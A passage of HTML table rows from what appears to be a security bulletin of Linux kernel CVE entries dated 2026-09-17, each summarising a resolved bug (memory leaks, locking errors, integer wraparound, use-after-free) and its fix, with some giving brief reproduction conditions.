&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Drivers: hv: vmbus: Skip VMBus module cleanup for non-nested root partition The VMBus module initialization function, hv_acpi_init(), currently does nothing when running in the root partition and root is not nested in another VM. But the initialization function reports success, so the VMBus module is indeed loaded. VMBus functionality is not actually needed, but the VMBus module must be loaded so that hv_vmbus_exists() can answer correctly. Furthermore, the mshv_root dependency on the VMBus module is needed as described in the commit message for 840b740a35bf (&quot;mshv: Add conditional VMBus dependency&quot;). Loading the VMBus module without actually initializing it causes failures if the module should later be unloaded. The module unload code tries to clean up things that were never initialized, resulting in memory faults and a panic. Fix this by having VMBus module exit function perform the same check for non-nested root partition, and do nothing in such a case, just like hv_acpi_init(). In the long run, the code that manages the Hyper-V provided SynIC should be refactored to better coordinate the requirements of root partition scenarios and normal VM scenarios, and to hopefully remove the hv_vmbus_exists() dependnecy between mshv_root and VMBus modules. Preventing the current unload failure scenario is an expediency until such a refactoring is done.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90097&quot; target=&quot;_blank&quot;&gt;CVE-2026-90097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: sparx5: fix sleep in atomic context in MAC table access sparx5_set_rx_mode() runs with netif_addr_lock_bh held and iterates dev-&amp;gt;mc via __dev_mc_sync(), which per address calls sparx5_mc_sync() / sparx5_mc_unsync() -&amp;gt; sparx5_mact_learn() / sparx5_mact_forget(). These take sparx5-&amp;gt;lock, a mutex, and then poll the MAC access command register with readx_poll_timeout(). A mutex may block, which is not allowed from atomic context. Convert the driver to the new .ndo_set_rx_mode_async callback introduced in commit 3554b4345d85 (&quot;net: introduce ndo_set_rx_mode_async and netdev_rx_mode_work&quot;). The async callback is invoked from process context, so the mutex and sleeping completion poll can remain. Observed with CONFIG_PROVE_LOCKING, CONFIG_DEBUG_SPINLOCK, CONFIG_DEBUG_MUTEXES and CONFIG_DEBUG_ATOMIC_SLEEP enabled: BUG: sleeping function called from invalid context at kernel/locking/mutex.c:591 in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 217, name: ip preempt_count: 201, expected: 0 Call trace: __might_resched+0x144/0x248 __might_sleep+0x48/0x7c __mutex_lock+0x74/0x850 mutex_lock_nested+0x24/0x30 sparx5_mact_learn+0x78/0x100 sparx5_mc_sync+0x40/0x54 __hw_addr_sync_dev+0xc4/0x170 sparx5_set_rx_mode+0x4c/0x58 __dev_set_rx_mode+0x64/0xa4 __dev_open+0x1ec/0x26c&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90098&quot; target=&quot;_blank&quot;&gt;CVE-2026-90098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: account classifier filter allocations to memcg Allocations in the tc classifier *_change() paths (filter objects, per-CPU counters, and per-filter aux data) use plain GFP_KERNEL without __GFP_ACCOUNT, allowing unprivileged users to pin kernel memory outside memcg charging. The shared tcf_exts_init_ex() action array allocation in cls_api.c was also uncharged; this patch closes it along with the per-classifier filter-object/percpu/aux allocations that remain unaccounted. Add GFP_KERNEL_ACCOUNT to: - the shared tcf_exts_init_ex() action array (cls_api.c), common to every filter of every classifier (32 pointers, 256 bytes); - the filter-object, per-CPU-counter, and per-filter aux allocations in cls_basic, cls_bpf, cls_cgroup, cls_flow, cls_flower, cls_fw, cls_matchall, cls_route and cls_u32; - the u32_init_knode() replace-path knode allocation (cls_u32.c), which allocates the same struct tc_u_knode + sel.keys on every replace of an existing knode and was missed by the create-path-only conversion. Also fix the cls_basic error path: basic_change() inserts fnew into the IDR before allocating the per-CPU counter. If alloc_percpu() fails the errout path kfree&#039;d fnew without idr_remove, leaving a dangling pointer in the IDR. With GFP_KERNEL_ACCOUNT the percpu alloc becomes failable on demand (memcg at memory.max), making the dead path attacker-reachable and burning the handle permanently. Add the idr_remove on the percpu failure path, matching the basic_set_parms failure-path pattern. Note: vega@nebusec.ai provided a poc for basic_cls, but it was easy to extend to the other classifiers. Conditions to recreate the bug: - CONFIG_NET_SCHED, CONFIG_NET_CLS_* (the classifier being used), CONFIG_NET_CLS_ACT, CONFIG_MEMCG, CONFIG_USER_NS, CONFIG_NET_NS. - Unprivileged user in a fresh user+network namespace (unshare -Urn), or root with CAP_NET_ADMIN. - Create a large number of tc filters (e.g. tc filter add dev lo ingress ... &amp;lt;classifier&amp;gt; ...) while watching a memcg-limited cgroup: system slab grows far faster than memory.current, pinning kernel memory outside memcg charging.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90099&quot; target=&quot;_blank&quot;&gt;CVE-2026-90099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ptp: netc: fix period truncation and potential divide-by-zero in PEROUT The max_period bound in net_timer_enable_perout() was computed as: max_period = (u64)NETC_TMR_DEFAULT_FIPER + integral_period; which exceeds U32_MAX when integral_period &amp;gt; 0 (e.g. 0x100000002 for the default 333333333 Hz clock). A period_ns that passes this check but exceeds U32_MAX is then silently truncated when stored into the u32 struct netc_pp::period field. A truncated value of zero can reach netc_timer_set_perout_alarm(), where the local u32 period variable would also be 0, causing a divide-by-zero in roundup_u64(delta, period) whenever the stime &amp;lt; min_time branch is taken (which always happens for a start time of {0, 0}). Additionally, netc_timer_enable_periodic_pulse() and netc_timer_enable_fiper() both compute: fiper = pp-&amp;gt;period - integral_period; A zero pp-&amp;gt;period results in an unsigned wraparound to 0xFFFFFFFD, mis-programming the FIPER hardware register. Fix all three issues by capping max_period at NETC_TMR_DEFAULT_FIPER (0xFFFFFFFF). This ensures that any period_ns passing the range check fits in a u32 without truncation, so the stored value is always valid and non-zero. The accepted range is reduced by integral_period ns (typically only a few nanoseconds), which is negligible in practice.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90100&quot; target=&quot;_blank&quot;&gt;CVE-2026-90100&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bnxt_en: Fix call to hardware monitoring event handler The first parameter of hwmon_notify_event() is supposed to be the hardware monitoring device. The bnxt driver calls it with the platform device as first parameter instead. This API break results in undefined behavior and may result in a crash. Pass the hardware monitoring device as parameter instead to fix the problem.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90101&quot; target=&quot;_blank&quot;&gt;CVE-2026-90101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vxlan: fix reading neigh ha Currently arp/neigh_reduce read neigh ha directly which can lead to partial reads while the neigh is being updated. Use neigh_ha_snapshot to take a stable snapshot of the address similar to route_shortcircuit which already does the right thing.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90105&quot; target=&quot;_blank&quot;&gt;CVE-2026-90105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: bridge: arp/nd proxy: fix reading neigh ha Currently neigh ha address is read directly, but that can result in torn/partial reads if the neigh is being updated. Use neigh_ha_snapshot to take a stable snapshot of the address.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90106&quot; target=&quot;_blank&quot;&gt;CVE-2026-90106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: free pending qentry in smc_llc_flow_stop() before memset smc_llc_flow_stop() resets a flow struct with a blind memset: spin_lock_bh(&amp;amp;lgr-&amp;gt;llc_flow_lock); memset(flow, 0, sizeof(*flow)); flow-&amp;gt;type = SMC_LLC_FLOW_NONE; spin_unlock_bh(&amp;amp;lgr-&amp;gt;llc_flow_lock); If flow-&amp;gt;qentry is non-NULL at this point the pointer is overwritten without the allocation being freed, leaking one kmalloc object. A late-arriving duplicate CONFIRM_LINK or ADD_LINK_CONT message can set flow-&amp;gt;qentry after the legitimate message has been consumed by the waiter via smc_llc_flow_qentry_clr() (which NULLs the pointer but leaves flow-&amp;gt;type non-zero) but before the flow completes and smc_llc_flow_stop() runs. In that window the duplicate is stashed into flow-&amp;gt;qentry, and then lost when smc_llc_flow_stop() zeros the struct. Call smc_llc_flow_qentry_del() inside the lock before the memset. smc_llc_flow_qentry_del() already checks flow-&amp;gt;qentry before freeing, so the normal case where no entry is pending is a no-op.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90107&quot; target=&quot;_blank&quot;&gt;CVE-2026-90107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/smc: free stashed qentry before overwrite in REQ_ADD_LINK to ADD_LINK transition When smc_llc_event_handler() transitions the local LLC flow from SMC_LLC_FLOW_REQ_ADD_LINK to SMC_LLC_FLOW_ADD_LINK on arrival of an ADD_LINK request, it calls smc_llc_flow_qentry_set() unconditionally: if (lgr-&amp;gt;llc_flow_lcl.type == SMC_LLC_FLOW_REQ_ADD_LINK) { lgr-&amp;gt;llc_flow_lcl.type = SMC_LLC_FLOW_ADD_LINK; smc_llc_flow_qentry_set(&amp;amp;lgr-&amp;gt;llc_flow_lcl, qentry); ... } A CONFIRM_LINK or ADD_LINK_CONT arriving while flow-&amp;gt;type is SMC_LLC_FLOW_REQ_ADD_LINK is stashed into flow-&amp;gt;qentry via the SMC_LLC_CONFIRM_LINK / SMC_LLC_ADD_LINK_CONT handler (which stores into flow-&amp;gt;qentry for any non-NONE flow type). When the subsequent ADD_LINK arrives, the REQ_ADD_LINK branch overwrites flow-&amp;gt;qentry with the new pointer without first freeing the stashed allocation, leaking one kmalloc object. The stashed entry has no consumer: smc_llc_wait() is only called from llc_add_link_work, which is not yet scheduled while the flow type remains REQ_ADD_LINK. No waiter is sleeping on llc_msg_waiter at this point. It is safe to unconditionally free any stashed qentry before the overwrite. Call smc_llc_flow_qentry_del() before smc_llc_flow_qentry_set() in the REQ_ADD_LINK branch. smc_llc_flow_qentry_del() already checks flow-&amp;gt;qentry before freeing, so the normal path where no entry is stashed is a no-op.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90108&quot; target=&quot;_blank&quot;&gt;CVE-2026-90108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: sched: fix 32-bit backlog wrap in gred, bfifo and plug enqueue gred_enqueue(), bfifo_enqueue() and plug_enqueue() admit a packet when the current backlog plus the packet length fits within the queue limit: sch-&amp;gt;qstats.backlog + qdisc_pkt_len(skb) &amp;lt;= sch-&amp;gt;limit (gred default VQ) gred_backlog+qdisc_pkt_len(skb) &amp;lt;= q-&amp;gt;limit (gred configured VQ) sch-&amp;gt;qstats.backlog + qdisc_pkt_len(skb) &amp;lt;= sch-&amp;gt;limit (bfifo) sch-&amp;gt;qstats.backlog + skb-&amp;gt;len &amp;lt;= q-&amp;gt;limit (plug) sch-&amp;gt;qstats.backlog and q-&amp;gt;backlog are u32, and qdisc_pkt_len()/skb-&amp;gt;len are unsigned int, so all sums are computed in 32 bits and wrap at 2^32. Once the true backlog exceeds 4 GiB the wrapped sum becomes small and admission keeps succeeding, so the queue grows without bound and the kernel can be driven to OOM. Promote the sums to u64 so admission stops once the true backlog exceeds the limit. The limit is u32, so the bounded queue stays below 2^32 and the stored u32 backlog never wraps. The bug can only be reproduced as root (albeit with ridiculous setup): attach a gred (or bfifo/plug) qdisc with a limit near 4 GiB, leaving the default VQ unconfigured (for gred), and drive &amp;gt;4 GiB of queued traffic (e.g. via a size table / stab to inflate qdisc_pkt_len, or sustained high-rate traffic). The u32 backlog+len sum wraps at 2^32, admission keeps succeeding, and the queue grows unboundedly to OOM.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90109&quot; target=&quot;_blank&quot;&gt;CVE-2026-90109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: qlcnic: validate unified ROM sections before loading The unified ROM parser reads directory, product, and data-descriptor fields from the firmware file. Existing validation forms table and data ends with unchecked additions and multiplications. Malformed values can wrap before they are compared with the firmware size. The parser also dereferences typed pointers at firmware-controlled offsets. Valid descriptor extents alone are insufficient for the consumers. The loader reads a fixed-size bootloader regardless of its declared size, the version parser assumes a 17-byte tail, and a partial final firmware word is read as a full u64. A truncated image can therefore make the driver read beyond the firmware allocation during validation or loading. Replace the pointer-returning parser with bounded range helpers. Validate table entry sizes, descriptor indices, section ranges, the fixed bootloader load length, and the version tail before exposing any section. Read all file fields with unaligned little-endian accessors and assemble a partial final word from only the bytes that remain. Apply the same range checks to the legacy image before reading its fixed fields.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90112&quot; target=&quot;_blank&quot;&gt;CVE-2026-90112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netdevsim: update queue NAPI association on queue reset In netdevsim, receive queues (struct nsim_rq) embed their own struct napi_struct. When queue reset is performed (e.g. via queue_reset debugfs), nsim_queue_start() swaps in a newly allocated struct nsim_rq, and nsim_queue_mem_free() later deletes and frees the old one. However, nsim_queue_start() failed to update the queue-to-NAPI mapping via netif_queue_set_napi(). As a result, dev-&amp;gt;_rx[idx].napi continued to point to the old NAPI struct. After the old queue was freed, a subsequent queue dump via Netlink (NETDEV_CMD_QUEUE_GET) triggered a KASAN slab-use-after-free read in nla_put_napi_id() when accessing rxq-&amp;gt;napi-&amp;gt;napi_id. Fix this by calling netif_queue_set_napi() in nsim_queue_start() to associate the new NAPI with the RX queue, and clear the association with netif_queue_set_napi(..., NULL) in nsim_del_napi() during teardown.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90113&quot; target=&quot;_blank&quot;&gt;CVE-2026-90113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: bridge: Reject descending VLAN tunnel ranges A pair of descending VLAN and tunnel IDs can pass the tunnel range span check. The VLAN subtraction produces a negative int, which is converted to unsigned when compared with the u32 tunnel ID subtraction. It can therefore equal the wrapped tunnel ID delta. The range loop then performs no iterations. Since the batched notification handling added a post-loop error check, this leaves err uninitialized and makes the request&#039;s return value unpredictable. Reject descending VLAN ranges before comparing the spans. Valid ascending and single-entry ranges remain unchanged, while malformed descending ranges consistently return -EINVAL. This issue was found by a static analysis checker and confirmed by manual source review.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90114&quot; target=&quot;_blank&quot;&gt;CVE-2026-90114&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xsk: fix NULL pointer dereference in __xsk_rcv() In the __xsk_rcv() multi-buffer path, xsk_buff_alloc() is called in a loop without checking its return value. xsk_buff_can_alloc() only counts fill queue entries without validating their addresses, so it can succeed while xsk_buff_alloc() rejects all remaining entries and returns NULL. Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000 KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] RIP: 0010:__xsk_rcv+0x426/0xc20 (net/xdp/xsk.c:350) Call Trace: xsk_generic_rcv+0x26d/0x5f0 xdp_do_generic_redirect+0x3c5/0xcf0 do_xdp_generic+0x92f/0xe70 __netif_receive_skb_core.constprop.0+0xf7e/0x2b30 Fix this with a two-stage transaction. First allocate and stage all buffers required for the packet, recycling all staged buffers with xsk_buff_free() if any allocation fails. Only after this stage succeeds, copy the data, reserve the RX descriptors, and release the buffers in an error-free loop.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90115&quot; target=&quot;_blank&quot;&gt;CVE-2026-90115&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: mtpav: shut down output timer before card teardown snd_mtpav_output_timer() rearms chip-&amp;gt;timer while holding chip-&amp;gt;spinlock and accesses the card-private mtpav state. snd_mtpav_free() currently takes the same lock and calls timer_delete() when the timer is active. This only removes a pending timer; it does not wait for a callback that is already running and does not prevent the callback from rearming the timer. A callback running on another CPU can therefore continue after snd_mtpav_free() releases the lock and access the card-private state while the card is being torn down. It can also rearm the timer after timer_delete() has returned. Call timer_shutdown_sync() without holding chip-&amp;gt;spinlock. This waits for any running callback to finish and prevents further rearming before the card-private mtpav state is released.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90116&quot; target=&quot;_blank&quot;&gt;CVE-2026-90116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs: validate usa_ofs before preserving the update sequence number When ntfs_mft_record_alloc() reuses a free mft record it reads the old update sequence number straight from the on-disk record: usn = *(__le16 *)((u8 *)m + le16_to_cpu(m-&amp;gt;usa_ofs)); Here m points into the raw $MFT page-cache folio, which still holds unvalidated, MST-protected bytes: the folio is read by a plain iomap_read_folio() and neither post_read_mst_fixup() nor ntfs_mft_record_check() has run on it (both work on private copies). m-&amp;gt;usa_ofs is therefore an untrusted u16, and a corrupted record can put it past the end of the record so the two-byte read lands outside the folio. Reading such a record while creating a file gives, under KASAN: BUG: KASAN: use-after-free in ntfs_mft_record_alloc+... Read of size 2 at addr ... ntfs_mft_record_alloc -&amp;gt; __ntfs_create -&amp;gt; ntfs_create -&amp;gt; path_openat Only preserve the old update sequence number when usa_ofs is even and in range, mirroring the check ntfs_mft_record_check() already applies; otherwise leave usn zero, which the existing restore below skips.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90117&quot; target=&quot;_blank&quot;&gt;CVE-2026-90117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: ice1712: Fix the card leak at probe error with the auto-cleanup snd_ice1712_probe() performs multiple initialization steps after snd_card_new(), but directly returns on failures from later steps without releasing the ALSA card, causing resource leaks when probing fails. Use snd_devm_card_new() together with scope-based cleanup via __free(snd_card_unref), and clear the card pointer after successful registration to keep it alive.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90119&quot; target=&quot;_blank&quot;&gt;CVE-2026-90119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: irqchip/gic-v5: Clear per-CPU IRS data on teardown IRS affinity setup publishes an IRS pointer and IAFFID state in the per-CPU data before the remaining IRS initialization can fail. The error path then frees the IRS data without clearing that published state, leaving CPUs associated with freed memory. On initialization failure and normal IRS teardown, clear the per-CPU IRS association by removing the stale pointer to irs_data. Also invalidate the per-CPU IAFFID state for any CPUs that were tied to the IRS before it was freed.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90121&quot; target=&quot;_blank&quot;&gt;CVE-2026-90121&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clk: visconti: Make sure clk_init_data is fully initialized The clk_init_data structure contains several mutually-exclusive members for different methods to specify the possible parents of a clock, prompting drivers to initialize only the members they need. However, not initializing all members may cause subtle issues, which are only exposed when CONFIG_INIT_STACK_ALL_PATTERN or CONFIG_INIT_STACK_NONE is enabled. visconti_clk_register_gate() fills in init.parent_data, and assumes that init.parent_names is NULL. However, the latter in uninitialized, and thus may cause a crash. Make sure all members are fully initialized, to fix such bugs, and to avoid future breakage when converting drivers to a different method for specifying the parents.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90122&quot; target=&quot;_blank&quot;&gt;CVE-2026-90122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: irqchip/ast2700-intc: Avoid allocating in the irq_domain activate() callback The interrupt core calls the irq_domain_activate() callback from __setup_irq() with desc-&amp;gt;lock held and interrupts disabled. Both aspeed_intc1_irq_domain_activate() and aspeed_intc0_resolve_route() test a compatible string with fwnode_device_is_compatible(). fwnode_device_is_compatible() invokes fwnode_property_match_string(), which allocates with GFP_KERNEL. That&#039;s obviously not possible with interrupts disabled and a raw spinlock held. Both call sites are only ever handed OF nodes, so use of_device_is_compatible() instead: it walks the property in place and does not allocate.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90123&quot; target=&quot;_blank&quot;&gt;CVE-2026-90123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: irqchip/renesas-rzg2l: Fix loss of interrupt rzg2l_clear_irq_int() and rzg2l_clear_tint_int() perform a read-modify-write on the ISCR/TSCR status registers to clear the bit for the interrupt just handled. Since these registers are write-0-to-clear per bit, this is racy: If another interrupt&#039;s status bit gets set between the read and the write, that bit is written back as 0 by the software-constructed value, clearing an interrupt that hasn&#039;t been serviced yet and losing it. This can be reproduced by triggering multiple interrupts at once, e.g.: gpioset -c gpiochip0 355=0 353=0 328=0 352=0 Fix this by writing back only the bit being cleared, with all other bits set to 1, instead of read-modify-writing the whole register. Since 1-bits are left unchanged by hardware, concurrently-set status bits for other interrupts are preserved.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90124&quot; target=&quot;_blank&quot;&gt;CVE-2026-90124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix request buffer leak in smb2_new_read_req() smb2_new_read_req() allocates the request buffer with smb2_plain_req_init() but only publishes it to the caller with *buf = req at the very end of the function. Two error returns sit in between: rc = smb2_plain_req_init(SMB2_READ, io_parms-&amp;gt;tcon, server, (void **) &amp;amp;req, total_len); if (rc) return rc; if (server == NULL) return -ECONNABORTED; [...] rdata-&amp;gt;mr = smbd_register_mr(server-&amp;gt;smbd_conn, &amp;amp;rdata-&amp;gt;subreq.io_iter, true, need_invalidate); if (!rdata-&amp;gt;mr) return -EAGAIN; On either of them the buffer is neither released nor handed back, so it is leaked. The caller cannot clean up after it: smb2_async_readv() does &#039;goto out&#039; on a non-zero return, which skips the cifs_small_buf_release(buf) at async_readv_out, and buf has not been assigned at that point in any case. The write path has never had this problem. smb2_async_writev() registers the memory region inline and jumps to its release label instead of returning: wdata-&amp;gt;mr = smbd_register_mr(...); if (!wdata-&amp;gt;mr) { rc = -EAGAIN; goto async_writev_out; } Commit b7972092199f (&quot;cifs: smbd: Retry on memory registration failure&quot;) changed both sides from -ENOBUFS to -EAGAIN in a single patch, which puts the two shapes next to each other. Only the -EAGAIN return is reachable in practice, because smb2_plain_req_init() calls smb2_reconnect() first and that already fails with -EIO when server is NULL, before anything is allocated. Both returns are given the same treatment here rather than leaving one of them correct only by accident. Because -EAGAIN is a replayable error, the failure also reaches the retry block at the end of smb2_async_readv(), which marks the subrequest NETFS_SREQ_NEED_RETRY, so a failing registration can be retried rather than ending the I/O, and every attempt that reaches it leaks another buffer. smb2_should_replay() short-circuits on tcon-&amp;gt;retry, so on a hard mount the attempt count is not bounded by the retrans setting. Only the asynchronous read path is affected. The synchronous SMB2_read() caller passes rdata == NULL and the memory registration block is guarded on rdata. The memory registration failure path was pointed out by the Sashiko AI reviewer while it was reviewing an unrelated patch to smb2_async_readv().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90125&quot; target=&quot;_blank&quot;&gt;CVE-2026-90125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
